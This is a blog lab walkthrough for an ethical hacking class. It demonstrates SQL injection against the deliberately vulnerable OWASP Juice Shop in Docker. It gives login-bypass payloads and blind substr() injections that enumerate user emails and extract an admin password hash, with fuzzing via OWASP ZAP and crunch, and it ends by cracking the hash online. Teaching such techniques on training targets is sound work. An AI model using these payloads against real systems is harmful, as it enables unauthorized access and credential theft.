Wednesday, November 15, 2017

Docker with Juiceshop - Focus on SQL Injection

In preparation for an ethical hacking class that I will be teaching, I wanted to work through a few of the Vulnhub or docker images to refresh my knowledge on the tools that can be used.  Also, to provide step-by-step walk-through exercises that students can follow.

Previous Posts that can assist with this Walkthrough
1. Billu_b0x - Highlights a Local File Inclusion vulnerability
2. Seattle - Highlights Brute Forcing a Login and XSS
3. Zico2 - Highlights directory traversal and PHP Command Injection
4. Docker with WolfCMS and MySQL Images
5. Exploitation of WolfCMS using Command Injection and usage of Web Shells

Tools Used:
VMware Workstation 12 Player
PuTTY or SSH client on host computer
Kali Linux Distro VM (Downloaded the VM edition from kali.org)

1 - docker
2 - docker image called bkimminich/juice-shop

Lab
1. Start the docker service running on Kali that we previously loaded.

Command: service docker start

2. Search docker hub for the bkimminich/juice-shop image and then pull it.

Command: docker search juice-shop
Command: docker pull bkimminich/juice-shop

* Remember that the image is as is and should be trusted as such...

3. After you have pulled the image, go ahead and load it.

Command: docker run -it bkimminich/juice-shop
Command: Ctrl <p> <q> to leave it running and go back to the console

4. Juice-Shop runs on port 3000.  From my host I am going to connect through SSH and use X11 Forwarding.

Command: ssh -X root@172.16.214.134

5. With X11 Forwarding I will launch 3 different terminals.  In the first terminal I am going to execute "firefox", second to execute "owasp-zap" and third as a command line to be utilized.  The below screenshot shows the 3 terminals, 1 loading firefox, with firefox and owasp open.


6.  With juice shop loaded and working through a proxy we are going to look for a SQL injection vulnerability.  In the top-left corner of Juice-Shop click on login.  You should be presented with the following screen.


7.  I am going to put in a legitimate email and a test password and click login.  You should see the error message of "Invalid email or password".  Now let's check what the OWASP Zap Proxy recorded as the request.


8.  Notice in the above request the information sent in a POST request is in JSON format.  This format shows the parameter and then following the colon the value that is sent.  Let's attempt some SQL injection on the username.  Type in the following for the username and the password.

Username: admin@admin.com' OR '1'='1'--;
Password: test



9. You should see that the page treats the username and password as a correct combination and allows the login.  What we are doing is changing the SQL statement and ending it with the --;.  This prevents the password from being read and tricks the application into authenticating the user because 1 does equal 1.

10.  Let's use the proxy to take the request, use the manual request editor and then test some more SQL injection.   To open the Manual Request Editor it is located under Tools...  After it loads you can delete the text and then copy what you see in the previous screenshot or the request and copy it into the Manual Request Editor.

11.  Now that we can manually adjust the request we can conduct SQL Injection and receive a HTTP code of 200 if it worked or HTTP code of 401 if it did not.  I am going to try and execute a SQL function called test() to see what results we receive back through the proxy.  I am expecting an error to show.

JSON: admin@admin.com' OR '1'=test('1')--;

12.  Below is the error that is received.  We can learn the structure of the query that we are tampering with, how we can take advantage of it and the database that is running.



13. We can see the above query that is being executed is as shown below. 

SQL: SELECT * FROM Users WHERE email = '<userinput>' AND password = '<hashed input>'

14. Now we are going to use SQL injection to identify the emails in the database that we can use to login.  If we receive a HTTP response code of 200 we will receive an email address.  If we receive another code then an email will not be returned.

JSON inject: admin@admi.com' OR 'a'=substr(email,1,1)--;

So reflecting back on the SQL statement in step 13 we are saying SELECT everything FROM the Users table where the email is admin@admi.com (which does not exist) or with a is equal to the first character returned from the email. 
Click "Send" on the Manual Request Editor.



15. The response comes back with an "HTTP/1.1 200" code which means it successfully authenticated and then it displays the email address of "admin@juice-sh.op".


16.  Let's try and find an email that starts with another letter of the alphabet.

JSON inject: admin@admi.com' OR 'b'=substr(email,1,1)--;



17. The response came back with the email address of "bender@juice-sh.op".  What if multiple emails start with the letter "a".  You could inspect the email for 2 characters that match the first 2 letters of the email.

JSON inject: admin@admi.com' OR 'be'=substr(email,1,2)--;

To gather all of the emails in the database you could cycle through all of the letters of the alphabet.  What I would do is build a python script to conduct this activity however, my next step is to gather the password for the admin@juice-sh.op email account.

18.  Let's modify the injection to begin guessing what the password is based on if we receive an HTTP/1.1 200 response code.

JSON inject: admin@juice-sh.op' AND 'a'=substr(password,1,1)--;
HTTP/1.1 401 Unauthorized

JSON inject: admin@juice-sh.op' AND 'b'=substr(password,1,1)--;
HTTP/1.1 401 Unauthorized

JSON inject: admin@juice-sh.op' AND 'c'=substr(password,1,1)--;
HTTP/1.1 401 Unauthorized

JSON inject: admin@juice-sh.op' AND 'd'=substr(password,1,1)--;
HTTP/1.1 401 Unauthorized
...
JSON inject: admin@juice-sh.op' AND '0'=substr(password,1,1)--;
-- Passing the number zero.
HTTP/1.1 200 OK

19. So we now understand that the password begins with the number zero or '0'.  Let's move on and figure out the next character of the password.  We are unsure at this time if it is a hash, encrypted, or in plain-text.


JSON inject: admin@juice-sh.op' AND '00'=substr(password,1,2)--;
-- Passing the number zero two times.
HTTP/1.1 401 Unauthorized

JSON inject: admin@juice-sh.op' AND '01'=substr(password,1,2)--;
-- Passing the number zero and a one.
HTTP/1.1 200 OK

20. Now we understand that the password starts with a zero and a one, or '01'.  Then we can move onto the next character.  This is a very long process if we are to do it manually.  Let's use the OWASP ZAP fuzzing feature to speed this process up for us.

21. First let's use a program on Kali called crunch to generate a wordlist that starts with '01'.

Command: crunch 3 3 -t 01% - Generates a wordlist with numbers 0-9
Command: crunch 3 3 -t 01@ - Generates a wordlist with letters a-z

You can view the man page of crunch by executing "man crunch".  The -t option starts each word with '01' and then appends a number with the '%'.  If you want to append a lower-case letter then use the '@'. Upper-case letters then use the ','.




23. Back to the manual request editor and modify the JSON inject to look at the first 3 characters of the password.

JSON inject: admin@juice-sh.op' AND '010'=substr(password,1,3)--;
-- Passing the number zero, one and then 0.
HTTP/1.1 401 Unauthorized

24. Go back to the main window in Zap, scroll down in the history until you find the last entry that you sent in step 23.   Then, highlight the 010 and right-click and click on fuzz.


25. We are now going to set the payload to use the 3char-list.txt file and click "Start Fuzzer".  After the fuzzer is complete, click on the column heading under Fuzzer of code, then scroll to the top, and then click on the first entry.  You should see the code is 200 which means the injected query was successful.  This then allows us to see the 3rd character of the password is the number 9.


26.  Keep working with the above process to figure out the password for the admin@juice-sh.op account.

Challenge: Write a script to do the exact same process but in a more automated way.

Challenge: What is the password for the admin@juice-sh.op account?

Challenge: What is the password for the other accounts in the database?

27.  After doing the above process for a while you will be able to extract the full hash of the password used by the admin@juice-sh.op account.  One reason in a pentest you do not want to reset the admin account because it may cause interruptions.

Below is a screenshot of the small bash script I wrote to assist in this...


28.  Be careful what you use to crack a password hash.  If you are on a private engagement they probably want you to use a private hash cracker.  For this exercise I used crackstation.net.



No comments:

Post a Comment

Test Authentication from Linux Console using python3 pexpect

Working with the IT420 lab, you will discover that we need to discover a vulnerable user account.  The following python3 script uses the pex...